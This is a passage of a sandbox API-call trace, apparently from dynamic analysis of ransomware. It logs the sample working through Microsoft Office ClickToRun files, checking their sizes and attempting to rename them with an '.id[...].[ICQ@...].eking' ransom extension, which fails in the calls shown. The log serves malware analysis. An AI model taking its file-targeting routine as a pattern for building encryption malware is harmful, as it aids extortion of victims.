lpFileSize=0x30dfd68*=1295576) returned 1 [0230.642] CloseHandle (hObject=0x348) returned 1 [0230.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0230.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0230.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.643] SetEvent (hEvent=0x2b8) returned 1 [0230.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.646] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=512216) returned 1 [0230.646] CloseHandle (hObject=0x348) returned 1 [0230.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0230.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0230.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.646] SetEvent (hEvent=0x2b8) returned 1 [0230.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.647] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=263896) returned 1 [0230.647] CloseHandle (hObject=0x348) returned 1 [0230.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0230.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0230.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.651] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=820416) returned 1 [0230.651] CloseHandle (hObject=0x37c) returned 1 [0230.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0230.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0230.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.652] SetEvent (hEvent=0x2b8) returned 1 [0230.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.652] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1208928) returned 1 [0230.652] CloseHandle (hObject=0x37c) returned 1 [0230.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0230.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0230.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.653] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4136) returned 1 [0230.654] CloseHandle (hObject=0x37c) returned 1 [0230.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0230.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0230.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.657] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=902328) returned 1 [0230.657] CloseHandle (hObject=0x37c) returned 1 [0230.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0230.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0230.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.657] SetEvent (hEvent=0x2b8) returned 1 [0230.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.658] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=332968) returned 1 [0230.659] CloseHandle (hObject=0x37c) returned 1 [0230.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0230.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0230.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.659] SetEvent (hEvent=0x2b8) returned 1 [0230.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.659] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=102) returned 1 [0230.660] CloseHandle (hObject=0x37c) returned 1 [0230.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0230.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0230.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.661] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=102) returned 1 [0230.661] CloseHandle (hObject=0x37c) returned 1 [0230.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0230.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0230.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.662] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1093248) returned 1 [0230.662] CloseHandle (hObject=0x37c) returned 1 [0230.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0230.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0230.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.666] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=358616) returned 1 [0230.666] CloseHandle (hObject=0x348) returned 1 [0230.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0230.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0230.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.667] SetEvent (hEvent=0x2b8) returned 1 [0230.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.667] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3144288) returned 1 [0230.667] CloseHandle (hObject=0x348) returned 1 [0230.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0230.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0 [0230.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.668] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4677216) returned 1 [0230.668] CloseHandle (hObject=0x348) returned 1 [0230.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0230.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0 [0230.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.669] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3177152) returned 1 [0230.669] CloseHandle (hObject=0x348) returned 1 [0230.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0230.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0 [0230.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.670] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9330784) returned 1 [0230.670] CloseHandle (hObject=0x348) returned 1 [0230.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0230.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0231.016] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0 [0231.017] SetEvent (hEvent=0x2b8) returned 1 [0231.017] 